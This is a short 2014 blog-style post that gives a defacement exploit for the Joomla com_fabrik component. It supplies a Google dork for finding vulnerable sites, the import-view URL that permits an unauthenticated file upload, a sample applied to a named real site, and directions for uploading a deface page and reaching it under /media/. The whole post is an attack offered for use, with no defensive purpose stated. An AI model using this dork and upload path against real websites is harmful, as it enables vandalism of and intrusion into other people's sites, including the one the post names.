Joomla Component (com_Fabrik) Remote Deface page Upload Vulnerability

vendredi 11 avril 2014

بتاريخ 22:14 بواسطة Unknown

Google Dork : inurl:index.php?option=com_fabrik

index.php?option=com_fabrik

Exploit:

/index.php?option=com_fabrik&c=import&view=import&filetype=csv&table=1

Sample:

http://www.usatovip.it/= add exploit

now it looks like :

http://www.usatovip.it/index.php?option=com_fabrik&c=import&view=import&filetype=csv&table=1

Browse and upload your deface page ,When error appears just ignore it

You will access your deface page here :

http://VictimeSite.com/media/yourdeface.html

Then You Can Find your File here :

http://www.VictimeSite.com/media/yourdeface.html